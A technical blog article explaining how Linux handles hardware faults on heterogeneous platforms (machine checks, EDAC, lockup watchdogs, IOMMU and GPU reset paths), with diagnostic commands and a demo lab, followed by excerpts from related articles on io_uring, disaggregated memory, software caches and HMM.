2. Historical Background

Fault tolerance in Linux did not start with GPUs. It started with mainframes and RAS (Reliability, Availability, Serviceability) engineering in the 1990s, where ECC memory and machine check exceptions were built for single-CPU x86 servers that needed to stay up for banking and telecom workloads. The kernel’s Machine Check Architecture support (arch/x86/kernel/cpu/mce/) dates back to the early 2000s, modeled directly on Intel’s and AMD’s MCA register banks. EDAC (drivers/edac/) followed shortly after as a way to expose memory-controller-level ECC scrubbing statistics to userspace, because MCA alone told you that something went wrong, not where in the DIMM topology.

The softlockup/hardlockup watchdog (kernel/watchdog.c) arrived later, in the mid-2000s, as multi-core systems made “a CPU silently stopped answering” a much more common and much harder to diagnose failure than “the machine rebooted.” It uses a per-CPU hrtimer plus, where available, the NMI-driven hardware performance counter watchdog, precisely because a CPU wedged with interrupts disabled will not respond to an ordinary timer interrupt.

The heterogeneous piece is the newest layer. As GPUs, TPUs, and other accelerators became first-class DMA-capable devices sharing the same physical memory bus and PCIe fabric as the CPU, two things had to be reconciled: the device’s own error-reporting mechanism (which the kernel does not control — it belongs to vendor firmware and the DRM/accelerator driver) and the IOMMU’s fault-reporting path, which is kernel-owned and generic across vendors (drivers/iommu/, struct iommu_fault). DRM’s scheduler TDR mechanism (drivers/gpu/drm/scheduler/) was added so a hung GPU job could be detected and the device reset without taking the whole kernel down — directly analogous to what the hardlockup watchdog does for CPUs, but implemented entirely in software because there is no MCA-equivalent hardware trap for “the GPU firmware stopped answering.”

3. Systems-Level Problem

The core problem is this: a parallel computation on a heterogeneous platform has multiple independent execution units, each with its own failure surface, running asynchronously relative to each other. A CPU thread blocking on a GPU kernel launch does not get a synchronous exception when that GPU kernel corrupts memory or hangs — the CPU thread is just waiting on a fence or a completion queue. This breaks the assumption most fault-handling code is built on: that a fault happens in the context that can be blamed for it and at the instruction that caused it.

Three failure classes matter, and Linux treats each differently:

1. Correctable errors — a single bit flip caught and fixed by ECC. The workload is unaffected, but if you don’t count these, you can’t predict when a DIMM or an HBM stack is about to fail outright. EDAC counts them, rasdaemon logs them, nothing else happens.

2. Uncorrectable but recoverable errors — a multi-bit error the hardware can detect but not fix, localized to a specific physical page. On x86 this is a Software Recoverable Action Optional/Required (SRAO/SRAR) machine check. The kernel’s job is to isolate exactly that page (memory_failure() in mm/memory-failure.c, tagging the struct page with PG_hwpoison) and kill only the process that actually touches it — everything else on the machine keeps running.

3. Fatal errors — the hardware cannot even tell you which page is bad, or the error is in a structure the kernel cannot survive without (kernel text, page tables). The only correct response is panic(), ideally with kdump capturing a crash image for postmortem.

For a device like a GPU, there is a fourth practical category the CPU-centric MCA model doesn’t cover at all: the device stopped responding but issued no error. This is what DRM’s TDR and, more generally, a userspace heartbeat/watchdog pattern exist to catch.

4. Linux Kernel Architecture

Show Image

Four subsystems cooperate, each owning a distinct failure domain:

• MCA / arch/x86/kernel/cpu/mce/ — owns CPU-detected hardware errors: ECC uncorrectable events on host DRAM, cache errors, interconnect errors. Delivered via the #MC exception (trap vector 18 on x86) or, for correctable errors, via a periodic poll timer (mce_timer) reading the MCA banks through MSRs.

• EDAC / drivers/edac/ — owns memory-controller-level scrubbing and topology (which DIMM, which rank, which channel). It is a reporting layer on top of hardware ECC, not a detection mechanism itself; it exposes counts and locations through /sys/devices/system/edac/ and tracepoints.

• kernel/watchdog.c — owns “a CPU is alive but not scheduling.” It runs a per-CPU kernel thread fed by an hrtimer, and, on hardware that supports it, a hardware-perf-counter-driven NMI watchdog for the hardlockup case (an interrupts-disabled infinite loop that a plain timer interrupt can never preempt).

• The accelerator driver + IOMMU fault path — owns everything the device itself does. The IOMMU (drivers/iommu/) reports faulting DMA transactions through struct iommu_fault and a per-device fault queue (iommu_report_device_fault()); the DRM scheduler reports jobs that exceeded a timeout through drm_sched_job_timedout(), which triggers device-specific reset logic.

None of these four talk to each other directly inside the kernel. What unifies them for a parallel workload is userspace: a runtime (CUDA/ROCm-equivalent, or your own orchestration layer) that consumes signals from all four — SIGBUS for hwpoison, netlink/tracepoint events for EDAC and MCE, dmesg/sysfs reset counters for GPU TDR — and decides how to keep the overall job alive.

5. Internal Working

Start with the CPU-detected case, because it is the most fully specified. Every logical CPU has a set of MCA banks, each covering a hardware unit (L1, L2, memory controller, interconnect). When an error is detected, the bank’s status register is latched with severity and address information, and, for an uncorrected error, the CPU raises #MC. The kernel’s do_machine_check() handler runs at the highest privilege, reads every bank across the affected CPUs (an MCE can be broadcast to all CPUs simultaneously if the error is global, e.g. a bus error), and hands each populated bank to the MCE decode chain — an atomic_notifier_head (x86_mce_decoder_chain) that lets subsystems like EDAC register a callback to translate a raw bank/address pair into “DIMM 2, channel 1, rank 0.” The core MCE code then classifies severity using mce_severity(): is this recoverable (a specific physical address is poisoned and only that page’s memory content is untrustworthy) or fatal (the error is in a location, such as kernel code, the kernel cannot simply route around)?

For a recoverable error, do_machine_check() calls into memory_failure(pfn, flags). This function:

1. Locks the page and determines what maps it (page_mapping, reverse-mapping via the RMAP subsystem).

2. Sets PG_hwpoison on the struct page so no future allocator ever hands this physical page out again.

3. Unmaps it from every process page table that references it, and delivers SIGBUS with si_code = BUS_MCEERR_AR (Action Required, meaning “you touched this page, deal with it now”) to any process actually accessing it at the time.

4. Leaves every other process on the machine completely untouched.

For the CPU-liveness case, kernel/watchdog.c runs a per-CPU thread (watchdog/N) at a very high scheduling priority, fed by an hrtimer that fires roughly every watchdog_thresh / 5 seconds. Each firing bumps a per-CPU counter the thread is expected to reset. If the counter goes stale past a softlockup threshold (default 20s), the kernel prints a stack trace and, depending on kernel.softlockup_panic, may treat it as fatal. If the NMI-driven hardlockup watchdog (built on a perf hardware counter overflowing at a fixed instruction/cycle count) detects that even NMIs aren’t reaching a CPU, that CPU is presumed truly wedged — the strongest signal short of a full ECC-driven panic.

For the device-side case, there is no #MC-equivalent trap, so the kernel relies on two independent software mechanisms. The IOMMU fault queue catches DMA transactions the device attempted that violate the IOMMU’s page tables (e.g., the device tried to write to an address the driver never mapped for it) and reports them through iommu_report_device_fault(), which the accelerator driver’s fault handler consumes to decide whether to reset the device’s translation context. Separately, DRM’s scheduler tracks every submitted job with a timer; if a job doesn’t complete within the configured timeout, drm_sched_job_timedout() fires, and the driver’s .timedout_job callback performs a device-specific reset (often resetting just the faulting engine, not the whole card) and resubmits or fails the remaining queued jobs.

6. Step-by-Step Execution Flow

Github Link:

https://github.com/sysdr/howtech-p/tree/main/Fault_tolerance/fault-tolerant-demo

Show Image

1. Hardware detects an anomaly — an ECC syndrome mismatch on a memory read, a parity error on a cache line, a DMA transaction outside a device’s mapped IOMMU range, or a device firmware watchdog timeout.

2. CPU path: the MCA bank latches status + address, #MC is raised, do_machine_check() runs, walks the decode chain, classifies severity. Device path: the IOMMU raises a fault queue entry, or the DRM scheduler’s per-job timer expires.

3. Decision point: correctable (log via EDAC/tracepoint, continue), uncorrectable-recoverable (isolate one page or reset one device queue), or fatal (panic/kdump, or in the device case, a full device reset with all in-flight work lost).

4. Success path: for memory, memory_failure() poisons the page and signals only the affected task; for a device, the driver resets the faulting context and the runtime resubmits the lost work unit from its last checkpoint.

5. Error path: for a fatal CPU error, panic() triggers kdump‘s second kernel to capture a crash image before reboot; for a device that won’t reset cleanly, the driver marks it offline and the orchestration layer (Kubernetes device plugin, Slurm, or your own scheduler) drains the node.

6. Userspace observability layer (rasdaemon, dmesg, sysfs counters) records the event regardless of path, closing the loop for capacity planning (predicting DIMM/HBM failure from correctable-error trend lines).

7. Kernel Data Structures

c

/* arch/x86/include/asm/mce.h — one MCA bank reading */
struct mce {
    __u64 status;      /* bank status: valid, uncorrected, poison, addr-valid bits */
    __u64 misc;
    __u64 addr;         /* physical address, if ADDRV bit set */
    __u64 mcgstatus;    /* global status: whether this MCE was broadcast */
    __u8  bank;          /* which MCA bank reported this */
    __u8  cpu;           /* logical CPU that observed it */
    /* ... severity, synd, ipid, and vendor-specific fields ... */
};

/* mm/memory-failure.c uses these page flags */
#define PG_hwpoison   /* page is known-bad; never reallocate */

/* drivers/edac/edac_device.h */
struct edac_device_ctl_info {
    struct bus_type *edac_class;
    struct edac_device_instance *instances; /* per-DIMM/per-rank topology */
    int (*edac_check)(struct edac_device_ctl_info *edac_dev);
    /* ... */
};

/* kernel/watchdog.c (conceptual — actual fields vary by kernel version) */
struct watchdog_device {
    unsigned int timeout;
    struct hrtimer hrtimer;
    unsigned long hard_watchdog_warn;
    /* per-CPU: last observed "I am alive" timestamp */
};

/* include/linux/iommu.h */
struct iommu_fault {
    __u32 type;          /* IOMMU_FAULT_DMA_UNRECOV or PAGE_REQ */
    union {
        struct iommu_fault_unrecoverable event;
        struct iommu_fault_page_request prm;
    };
};

The recurring pattern worth internalizing: every one of these structures separates identity (which bank, which CPU, which device, which DIMM) from classification (correctable vs. uncorrectable, recoverable vs. fatal). Recovery code only ever acts on the classification; the identity fields exist purely for the observability/reporting path.

8. CPU-Level Behaviour

Machine checks interact with the CPU pipeline in a way that is easy to get wrong intuitively. An MCA bank can report an error that happened speculatively — for instance, a load that was executed out-of-order down a branch that ends up not being taken. If the CPU consumed a poisoned value from that speculative load into architectural state, that’s an SRAR (Software Recoverable — Action Required) event, and #MC fires synchronously at (approximately) the instruction that consumed it. If the CPU merely detected poison in a location during background scrubbing without any instruction actually consuming it yet, that’s SRAO (Action Optional) — the kernel can log it, poison the page proactively, and let execution continue, because nothing has actually read the bad data yet.

This distinction is why memory_failure() takes flags distinguishing MF_ACTION_REQUIRED from a background poisoning call: an AR error must interrupt and signal the current context because it already touched bad data (the instruction pointer at #MC time is meaningful), while an AO error is handled entirely out of band from any specific instruction stream.

Broadcast MCEs complicate this further: some errors (typically bus/interconnect errors visible to the whole system) are signaled to every logical CPU simultaneously via the local APIC’s MCE-broadcast mechanism, precisely because a single core cannot unilaterally decide “this is fatal” for an error that corrupted shared state — all CPUs must agree before panic() is called, which is why mce_start()/mce_end() implement a barrier-based rendezvous across CPUs during machine check handling.

9. Performance Analysis

The performance cost of this architecture is dominated by three things, none of them free:

• EDAC scrubbing runs as a background memory-controller activity (hardware-driven, typically configurable in BIOS as a scrub rate). A too-aggressive scrub rate steals memory bandwidth from your workload; a too-passive one lets correctable errors accumulate into uncorrectable ones before you notice.

• The watchdog hrtimer fires on every CPU roughly every 4 seconds by default (watchdog_thresh=20 → sampling period 4s), which is negligible steady-state overhead but is a real consideration on latency-sensitive isolated cores (isolcpus/nohz_full), where you often deliberately disable the watchdog per-core to avoid any scheduled interrupt.

• DRM TDR timeouts trade detection latency against false-positive resets: a timeout too short kills legitimately long-running kernels (common in ML training with large fused ops); too long, and a genuinely hung device sits unusably idle, silently stalling the whole job that’s waiting on its fence, for the full timeout window.

The dominant cost for heterogeneous parallel workloads specifically, though, is checkpoint granularity, not any single kernel mechanism above. If your fault domain is “one GPU out of 512,” but your checkpoint interval is coarse (say, every 30 minutes of training), the expected wasted compute per fault is (fault_rate) × (avg_time_since_last_checkpoint) × (nodes_in_sync_group) — and in synchronous data-parallel training, the whole sync group stalls waiting for the one lost worker to be replaced, not just that worker.

10. Debugging Techniques

bash

# EDAC: current correctable/uncorrectable counts per memory controller
cat /sys/devices/system/edac/mc/mc0/ce_count
cat /sys/devices/system/edac/mc/mc0/ue_count

# rasdaemon: the standard userspace consumer of MCE/EDAC tracepoints
sudo rasdaemon --record
ras-mc-ctl --summary

# Live MCE tracepoint stream (works even without rasdaemon running)
sudo trace-cmd stream -e mce:mce_record

# Kernel log for hardlockup/softlockup stack dumps
dmesg -T | grep -i -E "soft lockup|hard lockup|NMI watchdog"

# GPU driver reset counters (path varies by vendor; AMDGPU example)
cat /sys/kernel/debug/dri/0/amdgpu_gpu_recover

# IOMMU fault visibility via ftrace
echo 1 > /sys/kernel/debug/tracing/events/iommu/enable
cat /sys/kernel/debug/tracing/trace

# Verify current watchdog configuration
sysctl kernel.watchdog kernel.watchdog_thresh kernel.softlockup_panic kernel.nmi_watchdog

The single most useful triage habit: when a heterogeneous job dies mysteriously, check EDAC counts before assuming it was a software bug. A steadily climbing ce_count on one DIMM over days, followed by a job crash, is a hardware failure wearing a software costume.

11. Production Failure Scenarios

Watchdog starvation under RT priority inversion. The hardlockup watchdog’s NMI path is immune to scheduling, but the softlockup thread is an ordinary (if high-priority) kernel thread. On systems running SCHED_FIFO/SCHED_DEADLINE workloads at very high priority without proper RLIMIT/cgroup bandwidth throttling, the watchdog thread can be starved long enough to itself trigger a false softlockup report — the fix is either sched_rt_runtime_us throttling or moving the watchdog off cores dedicated to RT work via isolcpus.

ECC scrubbing silently disabled. A depressingly common one: a BIOS update or a “performance” BIOS profile disables background patrol scrubbing to shave memory latency. Correctable errors then accumulate undetected until they become uncorrectable, at which point you get a fatal MCE with no warning history — because EDAC only reports what the hardware scrubber actually found.

IOMMU fault storms. A buggy device driver or misconfigured DMA mapping can generate thousands of IOMMU faults per second. Because each fault triggers iommu_report_device_fault() and a queue wakeup, this can itself become a denial-of-service against the host CPU handling the fault queue — the practical mitigation is fault-queue rate limiting in the driver and treating repeated faults from the same device as a signal to proactively reset rather than log-and-continue.

Checkpoint granularity mismatch. Treating a recoverable single-page hwpoison event (which by design only affects one process) as if it required restarting an entire synchronized parallel job. The correct response, at the orchestration layer, is to catch SIGBUS with si_code == BUS_MCEERR_AR, and restart only the affected rank from its last checkpoint while the rest of the synchronous group waits, rather than tearing down the whole job.

Working demo Link:

12. Real-World Production Use Cases

Hyperscale ML training clusters are the sharpest example of this stack in production: with thousands of GPUs running for weeks, the expected number of correctable ECC events, IOMMU faults, and individual GPU resets across the fleet during a single training run is not zero — it is a predictable statistical rate, and the training framework’s checkpoint/elastic-restart logic (rank replacement without restarting the whole job) is built directly on top of exactly the SIGBUS/reset-notification primitives described above. Cloud providers run EDAC + rasdaemon fleet-wide specifically to predict DIMM failure from correctable-error trend lines and proactively drain a node before it produces an uncorrectable, job-killing error — turning a reactive fault-tolerance mechanism into a proactive maintenance signal.

13. Hands-on Lab

We cannot safely load real EDAC/MCE kernel code or trigger genuine IOMMU faults inside a generic sandbox — those require specific hardware and root-level kernel module access. Instead, this lab builds a faithful userspace model of the exact same architecture, so every concept above maps 1:1 onto working code you can run right now.

The demo, generated entirely by startup.sh, implements:

• A supervisor process modeling the kernel’s MCE decode chain + watchdog core.

• Several worker processes modeling heterogeneous compute units (standing in for GPUs/accelerators), each periodically “computing” and occasionally injecting one of three fault classes: correctable, uncorrectable-recoverable, and fatal — mirroring EDAC-logged, hwpoison-and-SIGBUS, and panic-and-restart respectively.

• A heartbeat/watchdog mechanism (a SIGALRM-driven liveness check per worker) modeling kernel/watchdog.c‘s hrtimer-driven staleness detection, so a hung worker (no heartbeat, no fault message) is detected and restarted exactly like a hardlockup-then-recovery path.

• A checkpoint/restart mechanism: each worker periodically writes progress to a checkpoint file; on recoverable or fatal fault, the supervisor restarts only that worker from its last checkpoint, demonstrating why granular checkpointing bounds recomputation cost.

Run it with:

bash

chmod +x startup.sh
./startup.sh

Expect to see coloured log lines showing correctable events logged and ignored, recoverable faults triggering a single-worker restart from checkpoint, and (rarely, by design low-probability) a fatal fault draining and restarting the whole demo domain — with a final summary of total compute lost to faults versus total compute completed.

14. Best Practices

• Always run rasdaemon (or an equivalent MCE/EDAC consumer) in production; without it, correctable-error trend data — your best early-warning signal — is discarded the moment the kernel ring buffer wraps.

• Treat SIGBUS with BUS_MCEERR_AR as a first-class signal in any long-running parallel runtime, not an unhandled crash; catching it and restarting only the affected worker from checkpoint is almost always cheaper than restarting the whole job.

• Checkpoint at a granularity proportional to your observed fault rate, not an arbitrary wall-clock interval — compute expected wasted work as fault_rate × mean_checkpoint_interval and tune accordingly.

• Keep the CPU hardlockup/softlockup watchdog enabled everywhere except cores you have deliberately isolated for interrupt-free RT/HPC work, and disable it explicitly (nohz_full/isolcpus) rather than leaving it silently starved.

• Size DRM/accelerator job timeouts (TDR) against your actual longest legitimate kernel/op duration, not a generic default — false-positive resets are as costly to a training job as genuine hangs.

• Verify BIOS/firmware memory scrub settings explicitly after any firmware update; “performance” profiles disabling background ECC scrubbing is one of the most common silent regressions in fleet reliability.

15. Summary

Fault tolerance on heterogeneous platforms is not one Linux mechanism — it’s four independently evolved subsystems (MCA/MCE, EDAC, the CPU watchdog, and accelerator/IOMMU fault reporting) that share a common shape: detect, classify by severity, and act at the narrowest possible scope, whether that’s one physical page, one CPU, or one device context. The kernel’s entire design philosophy here is isolation of blast radius — an uncorrectable error should cost you one page or one worker, never the whole machine, and a hung device should cost you one reset, never a kernel panic. Building fault-tolerant parallel software on top of this means consuming the right signal at the right layer: SIGBUS/hwpoison for memory, driver reset notifications for devices, and EDAC/rasdaemon trend data for predictive maintenance — and checkpointing at a granularity that makes each of those recoveries cheap.

Every I/O interface Linux shipped before 5.1 shared one structural assumption: a thread issues a syscall, traps into the kernel, and either blocks or gets EAGAIN. read(2), aio_read(3), even epoll with non-blocking sockets — all of them pay a syscall trap per operation, and most of them still can’t do true asynchronous file I/O. When your workload is a single accelerator waiting on a single disk, that overhead is noise. When your workload is a scheduler feeding hundreds of thousands of small I/O requests per second across NVMe queues, network sockets, and GPU-staged buffers, the syscall boundary itself becomes the bottleneck.

io_uring solves this by removing the syscall from the hot path entirely. Two ring buffers — a submission queue (SQ) and a completion queue (CQ) — are memory-mapped into both the application and the kernel. The application writes submission queue entries (SQEs) directly into shared memory; the kernel writes completion queue entries (CQEs) directly into shared memory. In the steady state, no syscall is required to submit or reap I/O at all.

This article is a systems-level dive into how that ring architecture actually works: the kernel structures behind it, the CPU-level memory ordering it depends on, and a real concurrency bug you will hit the first time you try to share a ring across threads — caught here with ThreadSanitizer, not asserted from a man page.

It’s worth being precise about what “asynchronous” means here, because io_uring is often mis-described as “non-blocking I/O,” which it is not, strictly. read(2) on a non-blocking fd returns immediately with EAGAIN if data isn’t ready — the caller still has to poll or wait on readiness via epoll. io_uring instead lets the kernel itself decide whether an operation completes inline or gets handed to a worker thread; the caller’s job is only to submit the request and eventually collect the result, regardless of how long the kernel took or which path it used internally. That distinction — asynchronous completion notification versus non-blocking return codes — is the actual architectural shift, and it’s why io_uring subsumes both read/write and epoll-style readiness models under one interface.

Read more

Disaggregated memory breaks the assumption that has held since the earliest von Neumann machines: that memory lives at a fixed, short distance from the CPU that uses it. With CXL (Compute Express Link) Type 3 memory expanders, memory pooling appliances, and fabric-attached memory, a page of RAM a process touches might sit several switch hops away, reachable only through a coherent but higher-latency fabric rather than the local DDR channel.

The kernel already has a name for “memory that isn’t equally close to every CPU” — NUMA. What disaggregation adds is degree: latencies and bandwidth asymmetries an order of magnitude larger than classic multi-socket NUMA, plus the reality that some of this memory has no CPU attached to it at all (a bare memory expander is a NUMA node with has_cpu unset). The kernel represents this today, and you can see it directly:

$ ls /sys/devices/system/node/node0/
has_cpu  has_generic_initiator  has_memory  has_normal_memory  ...

Once memory is disaggregated, moving data between tiers stops being an occasional NUMA-balance nicety and becomes the central performance problem. This article is about that movement: how the kernel exposes migration primitives (move_pages(2), migrate_pages(), HMM), how DMA engines execute the underlying copy, and — this is the part textbooks skip — why the batching strategy around that copy dominates achievable bandwidth far more than the copy itself does. We built and measured a software model of a batching DMA engine to make the effect concrete, not hypothetical.

Read more

Modern systems no longer have one kind of memory. A server might have local DDR5 DRAM, a CXL-attached memory expander two hops away on the fabric, HBM stacked on an accelerator, and a GPU’s own VRAM that the CPU can address but never wants to touch directly. Each of these tiers has a different latency, a different bandwidth ceiling, and — critically for this article — a different relationship to the CPU cache hierarchy. Some tiers are fully cache-coherent. Some are coherent but slow enough that treating them like DRAM is a performance bug. Some are not coherent with the CPU at all, and reading or writing them incorrectly produces silently wrong results instead of a crash.

This article is about the layer of software that sits between “the CPU’s normal cache hierarchy” and “whatever this new memory tier actually is”: a software-managed cache. We will build one, break it twice under real tools, fix it, and measure it. The mental model is simple — near memory is fast and CPU-cached, far memory is slow and may not be — but the implementation detail is where production systems succeed or quietly corrupt data.

2. Historical Background

Hardware cache coherence protocols (MESI and its descendants) were built on an assumption: there is one pool of DRAM, and every core’s cache is kept consistent with it by snooping or directory lookups. That assumption held for decades because it was cheaper to add more coherent DRAM than to manage two kinds of memory in software.

Two pressures broke it. First, DRAM scaling slowed while core counts kept climbing, so systems started attaching memory over PCIe/CXL links rather than only on local memory channels — that link’s latency is too large to treat as uniform-cost DRAM even though it is coherent. Second, accelerators (GPUs, smart NICs, FPGAs) came with their own local memory that the host CPU could map but not cheaply keep coherent with, because full hardware coherence across a PCIe link at CPU-cache granularity is either unavailable or too costly in practice. The kernel’s answer has been incremental: NUMA gave the scheduler and allocator a notion of memory “distance,” mempolicy and later kernel memory tiering (and DAMON, covered in an earlier article in this series) gave it a notion of hot/cold pages to migrate between tiers, and CXL 3.0’s HDM-DB gave hardware a coherence model for dynamically attached capacity. None of that solves the userspace problem this article covers: even when the kernel places pages correctly, the application still decides how to move bytes between a fast local buffer and a slow or non-coherent one, and that decision is where cache-management bugs live.

The instruction-level tools this article relies on are themselves an older lineage than CXL. Non-temporal stores and the write-combining (WC) memory type were introduced with SSE, originally to let software stream large amounts of data — video frame buffers, graphics textures — out to a device without thrashing the CPU cache. CLFLUSH is older still. What changed is not the instructions but the reason to reach for them: a decade ago they were a niche optimization for a narrow set of multimedia and driver code; today, with far-memory tiers a routine part of server design, knowing exactly which store instruction is being issued and what it guarantees has become a mainstream systems-programming skill rather than a specialist one.

3. Systems-Level Problem

Here is the concrete problem: you have a working set that is written frequently but only a fraction of it is hot at any moment. Writing every byte directly to far memory pays that tier’s latency on every access. Copying the whole thing into DRAM defeats the purpose of having a large, cheap far tier at all. The standard answer is a cache: keep hot lines in near memory, mark them dirty, and lazily write them back to far memory. That is a write-back cache, and it is precisely what a CPU does for you with DRAM — except now you are building it in software for a tier the CPU won’t manage automatically.

Two things make this harder than an ordinary in-memory cache:

• Concurrency. Multiple threads hit the same near-memory line for different far-memory addresses. A lookup-then-claim sequence without atomicity produces two writers on one cache line.

• Store ordering across a non-coherent or weakly-ordered boundary. If you use non-temporal (write-combining) stores to avoid polluting the CPU cache with far-memory writes — which you often want to, since that data will not be re-read locally — those stores are, by design, not ordered the way normal stores are. A consumer outside the CPU’s cache-coherence domain (a DMA engine, an accelerator polling a doorbell) can observe “this data is ready” before the data itself is globally visible, unless you fence explicitly.

Both of these are real bugs we will reproduce below, not hypotheticals.

There is a design question underneath both bugs that is worth stating explicitly: a software cache for heterogeneous memory has to make the same three decisions any cache makes — placement (direct-mapped, set-associative, or fully associative), write policy (write-back vs. write-through), and eviction policy (LRU, clock, random) — but each decision now has a heterogeneous-memory-specific cost attached to getting it wrong. A direct-mapped cache is simple and lock-friendly (one lock per line, as built here) but suffers more conflict misses than set-associative designs; that trade is more expensive here than in a hardware cache because a “miss” against far memory can mean microseconds, not nanoseconds. Write-back defers cost to eviction, which is exactly what you want when far-memory latency is high, but it means dirty data can be lost on a crash unless the eviction and durability story is designed together — the same tension this series’ NVM persistency article covered from the opposite direction (durability first, performance second). This article picks the simplest point in that space (direct-mapped, write-back, periodic writeback rather than LRU-driven eviction) deliberately, so the two real bugs are visible without a more complex design obscuring them.

4. Linux Kernel Architecture

Read more

Every time a CUDA, ROCm, or oneAPI program calls malloc() and hands the pointer straight to the GPU without ever calling cudaMallocManaged() or pinning a buffer, something has to reconcile two completely different memory systems: a CPU page table walked by the MMU, and a GPU page table walked by hardware that has never heard of struct page. That reconciliation is the job of HMM — Heterogeneous Memory Management — a kernel subsystem that lives almost entirely in mm/hmm.c and mm/migrate_device.c.

HMM is not a scheduler policy and not a NUMA balancing heuristic. It is a set of data structures and synchronization primitives that let a device driver ask the mm subsystem, “what physical memory currently backs this range of a process’s address space, and can I safely migrate it to my device?” The interesting engineering is entirely in how that question is answered correctly while the answer can change out from under you at any instant — because the CPU can unmap, fork, swap, or collapse a THP in the middle of a GPU page fault.

This lesson builds a faithful userspace model of that race, breaks it deliberately, catches the breakage with ThreadSanitizer and AddressSanitizer, and then fixes it using the exact synchronization pattern HMM uses in the kernel: sequence-counter retry plus page pinning.

2. Historical Background

Before HMM, heterogeneous memory on Linux meant one of two unattractive options. Either the application used a special allocator (cudaMallocManaged, or vendor-specific unified memory APIs) that carved out a dedicated address range the driver fully owned and mirrored, or it pinned ordinary pages with get_user_pages() and DMA’d them in place, permanently, for the lifetime of the mapping. Pinning works but doesn’t scale: pinned memory can’t be swapped, can’t be moved by compaction, and can’t participate in normal reclaim. A GPU workload that touches gigabytes of working set but only needs megabytes resident at once has no good answer under that model.

HMM, merged incrementally between Linux 4.14 and 4.20, generalized the page fault itself. Jérôme Glisse’s original design let a device register a “mirror” of a process’s address space and receive faults through the same path the CPU MMU uses, backed by mmu_notifier (later mmu_interval_notifier) infrastructure that had already existed for KVM and RDMA. The payoff: ordinary malloc()‘d memory becomes GPU-accessible on demand, migrates to device memory when the GPU touches it, and migrates back when the CPU touches it — all without the application doing anything special. ZONE_DEVICE, added around the same era, gave device memory its own struct page representation so the rest of the mm subsystem (reference counting, migrate_pages(), even /proc/pid/smaps in some configurations) could reason about it using existing machinery instead of a parallel one.

The API itself went through a notable simplification. The earliest HMM mirroring interface exposed a much wider surface — drivers registered fault and invalidate callbacks directly and managed a fair amount of bookkeeping themselves. By the time HMM stabilized, the API had collapsed down to essentially two entry points a driver author needs to understand deeply: hmm_range_fault() for turning an address range into a PFN list, and the migrate_vma_*() family for actually moving pages between host and device memory. The mmu_interval_notifier conversion (replacing the older, coarser mmu_notifier in this role) was itself a correctness-driven rewrite — the older interface made it easy for drivers to accidentally miss an invalidation window, exactly the class of bug this lesson reproduces.

It’s worth being precise about what HMM is not. It is not a NUMA migration policy — that’s the job of subsystems like DAMON-based migration, numa_balancing, or explicit move_pages() calls, which decide when and whether migration should happen based on access patterns. HMM sits one layer below: it is the mechanism that makes any migration safe to perform at all against a live, mutable address space. A NUMA balancer and an HMM-based GPU driver can both be moving pages around the same process concurrently, and the correctness burden HMM exists to satisfy is exactly what stops those two movers from stepping on each other.

3. The Systems-Level Problem

The problem HMM solves has a name in the concurrent-programming literature: TOCTOU (time-of-check to time-of-use), applied to page tables. A GPU driver’s fault handler does roughly:

1. Look up which host pages back a faulting address range.

2. Do something slow with that information — set up a DMA transfer, migrate the pages to device memory, install device page-table entries.

3. Let the GPU proceed, now trusting that the device PTEs point at valid memory.

Between steps 1 and 2, the kernel can invalidate that mapping for reasons that have nothing to do with the GPU: the process calls munmap(), a fork() triggers copy-on-write, the reclaim path swaps a page out, or a transparent huge page gets split or collapsed. If the driver’s snapshot from step 1 is stale by the time it commits in step 3, it can install a device-visible mapping to memory that has been freed and reallocated for something else entirely — a heap-use-after-free with a hardware DMA engine as the writer, which is about as unpleasant as a race condition gets.

HMM’s entire data-structure design is aimed at making that race unrepresentable if a driver author follows the API contract, and it is very representable if they don’t — which is a real bug class in tree, not a hypothetical.

4. Linux Kernel Architecture

The relevant pieces span three layers, shown in the diagram above:

• Userspace: the application never opts in explicitly; a CUDA/ROCm runtime calling regular malloc() is enough. The GPU user-mode driver (UMD) submits work and receives device page faults from the kernel-mode driver.

• Syscall interface: mmap() establishes the VMA the driver will mirror; ioctl() calls into the DRM subsystem register the mirror and handle fault notifications; madvise(MADV_DONTNEED) and friends can trigger the invalidation paths HMM has to survive.

• Kernel: mm/hmm.c owns the range-fault API and works directly against mm_struct, vm_area_struct, and the page tables. mm/migrate_device.c owns the actual page migration once HMM has identified which pages need to move. The mmu_interval_notifier (generalized from the older mmu_notifier) is the synchronization primitive gluing them together — it is the object that tells a driver “your snapshot might be stale, recheck before you trust it.”

A driver’s involvement starts well before any fault happens. At probe/init time it calls mmu_interval_notifier_insert() to register interest in a [start, end) range against a target mm_struct, supplying an ops table whose .invalidate() callback the mm subsystem will call synchronously whenever something in that range changes. That callback’s job is deliberately narrow: bump the sequence counter and, if the invalidation type demands it (e.g. an actual unmap rather than a permissions change), block until any pins the driver is holding on the affected pages are released. Everything downstream of that — deciding whether to migrate, which pages, in which direction — is driver policy layered on top of a kernel mechanism that only guarantees one thing: you will find out, cheaply and reliably, if your snapshot went stale.

This layering is why the same mmu_interval_notifier machinery serves GPU drivers, RDMA on-demand paging, and even KVM’s original mmu_notifier use case for shadow page tables — the correctness problem (”a hardware page table mirrors a software one that can change”) is identical regardless of what’s on the other end of the mirror.

5. Internal Working

The two structures that matter most:

/* include/linux/hmm.h (simplified) */
struct hmm_range {
    struct mmu_interval_notifier *notifier;
    unsigned long        notifier_seq;   /* snapshot at read_begin() */
    unsigned long        start;
    unsigned long        end;
    unsigned long        *hmm_pfns;      /* per-page PFN + flags array */
    unsigned long        default_flags;
    unsigned long        pfn_flags_mask;
    void                 *dev_private_owner;
};

notifier_seq is the field this entire lesson is about. It is captured with mmu_interval_read_begin(notifier) before the driver walks the page tables, and it must be rechecked with mmu_interval_read_retry(notifier, seq) after the driver has done its slow work but before it commits anything device-visible. If the sequence changed, the correct action is not “proceed carefully” — it is “throw the result away and refault.” There is no safe way to patch up a stale snapshot; the only correct move is to redo it.

The second half of the mechanism is page pinning. A stale sequence number alone only tells you that something changed; it doesn’t prevent the underlying page from being freed while you’re still looking at it. HMM-based drivers take a reference (conceptually get_page()/folio_get()) on the pages they’re inspecting, and the invalidation path is required to wait for outstanding references to drop before it actually reclaims the page — it can announce the invalidation (bump the sequence, so readers know to discard their snapshot) without having to block every reader synchronously, because the pin keeps the memory itself alive during the (short) drop-and-refault window.

6. Step-by-Step Execution Flow

Github link:

https://github.com/sysdr/howtech-p/tree/main/Data_Structures_Heterogeneous/hmm-demo

1. GPU hardware raises a page fault on an address the device page table doesn’t have mapped.

2. The kernel-mode driver’s fault handler calls into hmm_range_fault(), which walks the CPU page tables for the faulting range.

3. Before the walk, mmu_interval_read_begin() captures notifier_seq.

